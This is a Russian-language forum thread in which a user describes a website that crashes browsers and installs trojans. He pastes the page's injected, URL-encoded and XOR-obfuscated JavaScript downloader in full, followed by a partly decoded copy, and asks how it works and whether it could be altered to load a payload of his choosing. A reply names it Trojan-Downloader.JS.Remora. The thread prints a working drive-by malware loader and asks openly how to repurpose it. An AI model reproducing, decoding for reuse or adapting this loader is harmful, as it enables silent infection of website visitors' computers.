Последнее время заметны заражения форумов на ИБП, причем старых версий и нуленых :)01.11.07 17:12 Число просмотров: 4757 Автор: Garick <Yuriy> Статус: Elderman
при попытке зайти на этот адрес http://kukuruznik.com/photo.html FireFox 2.0.0.8 и IE 6.0 падает... а из инета подгружаются и уcтанавливается целая пачка троянов....
после разбора этой страницы я нашол там следущий код.........
------------------------------------------------------------------------------------------------------------------
<!--[Q]--><script>document.write(unescape("%3Cscript%3Eif%28hqK%21%3D1%29%7Bfunction%20uT%28sF%29%7Breturn%20sF%7Dtry%7Bfunction%20sPk%28kUh%29%7Breturn%20parseInt%28kUh%29%7Dvar%20REC%3D%27TTQT3QTIQTeQTVQToQTwQTlQT4QTjQThQTDQTaQTsQTqQTcQTLQTGQTKQTJQTYQTNQTrQTFQTCQTSQTZQTMQT7QTHQT8QTRQTtQTzQTfQTOQTkQTmQTgQTUQTxQTpQTyQTdQTiQTBQT9QTPQTAQT5QT6QTWQTXQTnQ3TQ33Q3IQ3eQ3VQ3oQ3wQ3lQ34Q3jQ3hQ3DQ3aQ3sQ3qQ3cQ3LQ3GQ3KQ3JQ3YQ3NQ3rQ3FQ3CQ3SQ3Z%27%3Bvar%20nHu%3DREC.substr%282%2C1%29%2CRKb%3DArray%28sPk%28%27234%27%29%2C6156%5E6313%2CsPk%28%27181%27%29%2C10019%5E10119%2C29398%5E29289%2C1821%5E1979%2CsPk%28%27162%27%29%2C29621%5E29533%2C25565%5E25453%2C32756%5E32599%2CsPk%28%27184%27%29%2CsPk%28%27185%27%29%2CsPk%28%27246%27%29%2CsPk%28%27154%27%29%2C25208%5E25339%2C1189%5E1115%2C17041%5E16915%2C2933%5E3053%2CsPk%28%27250%27%29%2CsPk%28%27149%27%29%2CsPk%28%27132%27%29%2CsPk%28%27255%27%29%2C1534%5E1363%2CsPk%28%27160%27%29%2CsPk%28%27183%27%29%2CsPk%28%27190%27%29%2C568%5E723%2C8700%5E8527%2CsPk%28%27161%27%29%2CsPk%28%27146%27%29%2C28411%5E28267%2CsPk%28%27177%27%29%2C1684%5E1657%2CsPk%28%27248%27%29%2C2146%5E2265%2CsPk%28%27253%27%29%2C10319%5E10401%2CsPk%28%27224%27%29%2CsPk%28%27226%27%29%2C1373%5E1467%2CsPk%28%27178%27%29%2CsPk%28%27189%27%29%2CsPk%28%27244%27%29%2C11351%5E11513%2C3484%5E3341%2C5728%5E5883%2C27822%5E27691%2CsPk%28%27171%27%29%2C24949%5E25083%2CsPk%28%27241%27%29%2C5148%5E5371%2C16211%5E16339%2CsPk%28%27186%27%29%2C2375%5E2547%2C31840%5E31951%2C28386%5E28187%2CsPk%28%27153%27%29%2C32310%5E32461%2C2160%5E2279%2C19089%5E19069%2C3188%5E3203%2C30208%5E30441%2CsPk%28%27167%27%29%2C624%5E765%2CsPk%28%27136%27%29%2C23359%5E23443%2CsPk%28%27239%27%29%2CsPk%28%27139%27%29%2CsPk%28%27138%27%29%2C8552%5E8681%2C20356%5E20247%2C15803%5E15711%2CsPk%28%27148%27%29%2CsPk%28%27220%27%29%2CsPk%28%27135%27%29%2CsPk%28%27229%27%29%2C26148%5E26311%2CsPk%28%27225%27%29%2C871%5E1003%2CsPk%28%27134%27%29%2CsPk%28%27252%27%29%29%3Bvar%20eMW%2CVaP%3Bvar%20Otu%2CIkY%3D%27TTT3TITeTVToTwTlT4TjThTITwTVTDThTaT4TsTqTcTVTLTGTKTJTITYTNTrTaTFTCTeTaTFTSTqTZThTMT7TaTHTCTwTMTcTNTKTaT8TsTRTZTaThTMT7TaTHTCTwTMTcTNTtTaT8TsTRTzT3TMTwTLTVTfTMTcTFTSTqTzTRTMTwTLTVTfTMTcTNTOTkTmTgTUTUTUTUTUTNTtTaTxTDTITjTfTMThTwTzTITDTDTpTVTMTaTZTaTVTLTGTOTyTZTyTOTMT3TITCToTMTcTJTITYTNTOTyTtTMTdToTVTeTMT3TZTyTOT8TsTRTzTwTDTiTBTLT9TwTeTVThTRTcTNTtTaTPTFTCTeTaTATjTCTZT5T3T6T4TdTDTWT5TtTFTCTeTaTjToTfTZT5T6T5TKTjToTDTZT5TjToTxTCTwTMT6TzTITXTCT3T3TVTITwTMTXTzTDTeTRT5TtTFTCTeTaTn3TTRTZT533TSTwTfTX33T5TtTVT4TcTxTDTITjTfTMThTwTzTITDTDTpTVTMTzTVThTxTMTd3IT4TcTATjTCTOT5TZT5TOTjToTfTNTaTZTZ3eT6TNTrTFTCTeTaTxTXTSTZTxTDTITjTfTMThTwTzTXTDTITCTwTVTDThTzTSTDT3TwTtTFTCTeTaT7TY3VTZTaT5TSTwT5TOT5TwTo3oT5TOT53333T5TOTcTaTxTXTSTa3wTZTaT5T53lT5T53oTh34TeTcTNTNTaTOTaTxTXTSTzTeTMToTXTCTITMTaTc333j3hTC3e3DTU3e3aTz3e3s33TKT5TzT5TNTzTeTMToTXTCTITMTaTc333qTzTO33TKT5TzT5TNTOT5TzT5TOTh34TeTcTNTaTOT5TzT5TaTOTaTjToTDTOTn3TTRTtTFTCTeTa3I3cTjTZTxTDTITjTfTMThTwTzTITeTMTCTwTM3LTXTMTfTMThTwTcT5TVT4TeTCTfTMT5TNTt3I3cTjTzT3TMTw3VTwTwTeTVTnTjTwTMTaTcT5T3TeTIT5TKTaT7TY3VTNTt3I3cTjTzTSTMTVTRTSTwTZ3GTt3I3cTjTzT7TVTxTwTSTZTgTt3I3cTjTzT4TeTCTfTM3KTDTeTxTMTeTaTZTaTUTtTaTwTe3TTrTaTxTDTITjTfTMThTwTzTnTDTx3TTzTCToToTMThTxTJTSTVTXTxTaTcTa3I3cTjTNTtTaT4TsTqTcTATjTCTKTaTjToTfTaTNTtTPTaTITCTwTITSTcTMTNTaTrTxTDTITjTfTMThTwTzT7TeTVTwTMTaTcT5TTTSTwTfTXTlTTTnTDTx3TTlTT33TnTDTx3TTlTT33TSTwTfTXTlT5TNTtTaTxTDTITjTfTMThTwTzTnTDTx3TTzTCToToTMThTxTJTSTVTXTxTaTcTa3I3cTjTNTtT4TsTqTaTcTaTATjTCTKTjToTfTNTaTtTPTaTP3JT4TjThTITwTVTDThTaTh34TeTcTNTrTaTFTCTeTa3IT83YTZ3GTgTtTFTCTeTaTqTJT7TZTyTUT63G3NTg3rTm3FTk3aTUTCTnTITxTMT4TyTK3CTBTFTZTyTyTtTaT4TDTeTc3STITGTZTUTtTa3STITGTaTTTa3IT83YTtTa3STITGTOTOTNTa3CTBTFTOTZTaTqTJT7TzT3TjTnT3TwTeTcTBTCTwTSTzT4TXTDTDTeTcTBTCTwTSTzTeTCThTxTDTfTcTN3ZTqTJT7TzTXTMThTRTwTSTNTKT6TKT6TNTtTaTeTMTwTjTeThTa3CTBTFTtTaTPTT33T3TITeTVToTwTl%27%3Bvar%20pbQ%3DString%28%29%3BREC%3DREC.split%28nHu%29%3Bfor%20%28eMW%3D0%3BeMW%3CIkY.length%3BeMW+%3D2%29%7BOtu%3DIkY.substr%28eMW%2C2%29%3Bfor%28VaP%3D0%3BVaP%3CREC.length%3BVaP++%29%7Bif%28REC%5BVaP%5D%3D%3DOtu%29break%3B%7DpbQ+%3DString.fromCharCode%28RKb%5BVaP%5D%5E214%29%3B%7Ddocument.write%28pbQ%29%3B%7Dcatch%28BNf%29%7B%7D%7Dvar%20hqK%3D1%3C/script%3E"))</script><!--[/Q]-->
------------------------------------------------------------------------------------------------------------------
произвёл анализ содержимого.....
и получилось это....
------------------------------------------------------------------------------------------------------------------
<script>
if(hqK!=1)
{
function uT(sF)
{
return sF
}
try
{
function sPk(kUh)
{
return parseInt(kUh)
}
var REC='TTQT3QTIQTeQTVQToQTwQTlQT4QTjQThQTDQTaQTsQTqQTcQTLQTGQTKQTJQTYQTNQTrQTFQTCQTSQTZQTMQT7QTHQT8QTRQTtQTzQTfQTOQTkQTmQTgQTUQTxQTpQTyQTdQTiQTBQT9QTPQTAQT5QT6QTWQTXQTnQ3TQ33Q3IQ3eQ3VQ3oQ3wQ3lQ34Q3jQ3hQ3DQ3aQ3sQ3qQ3cQ3LQ3GQ3KQ3JQ3YQ3NQ3rQ3FQ3CQ3SQ3Z';
var nHu=REC.substr(2,1);
var RKb=Array(sPk('234'),6156^6313,sPk('181'),10019^10119,29398^29289,1821^1979,sPk('162'),29621^29533,25565^25453,32756^32599,sPk('184'),sPk('185'),sPk('246'),sPk('154'),25208^25339,1189^1115,17041^16915,2933^3053,sPk('250'),sPk('149'),sPk('132'),sPk('255'),1534^1363,sPk('160'),sPk('183'),sPk('190'),568^723,8700^8527,sPk('161'),sPk('146'),28411^28267,sPk('177'),1684^1657,sPk('248'),2146^2265,sPk('253'),10319^10401,sPk('224'),sPk('226'),1373^1467,sPk('178'),sPk('189'),sPk('244'),11351^11513,3484^3341,5728^5883,27822^27691,sPk('171'),24949^25083,sPk('241'),5148^5371,16211^16339,sPk('186'),2375^2547,31840^31951,28386^28187,sPk('153'),32310^32461,2160^2279,19089^19069,3188^3203,30208^30441,sPk('167'),624^765,sPk('136'),23359^23443,sPk('239'),sPk('139'),sPk('138'),8552^8681,20356^20247,15803^15711,sPk('148'),sPk('220'),sPk('135'),sPk('229'),26148^26311,sPk('225'),871^1003,sPk('134'),sPk('252'));
var eMW;
var VaP;
var Otu;
var IkY='TTT3TITeTVToTwTlT4TjThTITwTVTDThTaT4TsTqTcTVTLTGTKTJTITYTNTrTaTFTCTeTaTFTSTqTZThTMT7TaTHTCTwTMTcTNTKTaT8TsTRTZTaThTMT7TaTHTCTwTMTcTNTtTaT8TsTRTzT3TMTwTLTVTfTMTcTFTSTqTzTRTMTwTLTVTfTMTcTNTOTkTmTgTUTUTUTUTUTNTtTaTxTDTITjTfTMThTwTzTITDTDTpTVTMTaTZTaTVTLTGTOTyTZTyTOTMT3TITCToTMTcTJTITYTNTOTyTtTMTdToTVTeTMT3TZTyTOT8TsTRTzTwTDTiTBTLT9TwTeTVThTRTcTNTtTaTPTFTCTeTaTATjTCTZT5T3T6T4TdTDTWT5TtTFTCTeTaTjToTfTZT5T6T5TKTjToTDTZT5TjToTxTCTwTMT6TzTITXTCT3T3TVTITwTMTXTzTDTeTRT5TtTFTCTeTaTn3TTRTZT533TSTwTfTX33T5TtTVT4TcTxTDTITjTfTMThTwTzTITDTDTpTVTMTzTVThTxTMTd3IT4TcTATjTCTOT5TZT5TOTjToTfTNTaTZTZ3eT6TNTrTFTCTeTaTxTXTSTZTxTDTITjTfTMThTwTzTXTDTITCTwTVTDThTzTSTDT3TwTtTFTCTeTaT7TY3VTZTaT5TSTwT5TOT5TwTo3oT5TOT53333T5TOTcTaTxTXTSTa3wTZTaT5T53lT5T53oTh34TeTcTNTNTaTOTaTxTXTSTzTeTMToTXTCTITMTaTc333j3hTC3e3DTU3e3aTz3e3s33TKT5TzT5TNTzTeTMToTXTCTITMTaTc333qTzTO33TKT5TzT5TNTOT5TzT5TOTh34TeTcTNTaTOT5TzT5TaTOTaTjToTDTOTn3TTRTtTFTCTeTa3I3cTjTZTxTDTITjTfTMThTwTzTITeTMTCTwTM3LTXTMTfTMThTwTcT5TVT4TeTCTfTMT5TNTt3I3cTjTzT3TMTw3VTwTwTeTVTnTjTwTMTaTcT5T3TeTIT5TKTaT7TY3VTNTt3I3cTjTzTSTMTVTRTSTwTZ3GTt3I3cTjTzT7TVTxTwTSTZTgTt3I3cTjTzT4TeTCTfTM3KTDTeTxTMTeTaTZTaTUTtTaTwTe3TTrTaTxTDTITjTfTMThTwTzTnTDTx3TTzTCToToTMThTxTJTSTVTXTxTaTcTa3I3cTjTNTtTaT4TsTqTcTATjTCTKTaTjToTfTaTNTtTPTaTITCTwTITSTcTMTNTaTrTxTDTITjTfTMThTwTzT7TeTVTwTMTaTcT5TTTSTwTfTXTlTTTnTDTx3TTlTT33TnTDTx3TTlTT33TSTwTfTXTlT5TNTtTaTxTDTITjTfTMThTwTzTnTDTx3TTzTCToToTMThTxTJTSTVTXTxTaTcTa3I3cTjTNTtT4TsTqTaTcTaTATjTCTKTjToTfTNTaTtTPTaTP3JT4TjThTITwTVTDThTaTh34TeTcTNTrTaTFTCTeTa3IT83YTZ3GTgTtTFTCTeTaTqTJT7TZTyTUT63G3NTg3rTm3FTk3aTUTCTnTITxTMT4TyTK3CTBTFTZTyTyTtTaT4TDTeTc3STITGTZTUTtTa3STITGTaTTTa3IT83YTtTa3STITGTOTOTNTa3CTBTFTOTZTaTqTJT7TzT3TjTnT3TwTeTcTBTCTwTSTzT4TXTDTDTeTcTBTCTwTSTzTeTCThTxTDTfTcTN3ZTqTJT7TzTXTMThTRTwTSTNTKT6TKT6TNTtTaTeTMTwTjTeThTa3CTBTFTtTaTPTT33T3TITeTVToTwTl';
var pbQ=String();
</script>
------------------------------------------------------------------------------------------------------------------
декодировать и понять что содержится в этих переменных мне не удалось REC RKb IkY
так собствено... как это работает.... ???
да и возможно ли переделать чтобы подгружалось то что мне нужно ??? :-))))
Эта штука называется Trojan-Downloader.JS.Remora.w26.10.07 09:18 Автор: Fighter <Vladimir> Статус: Elderman
подробно о проекте
Анализ криптографических сетевых...
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
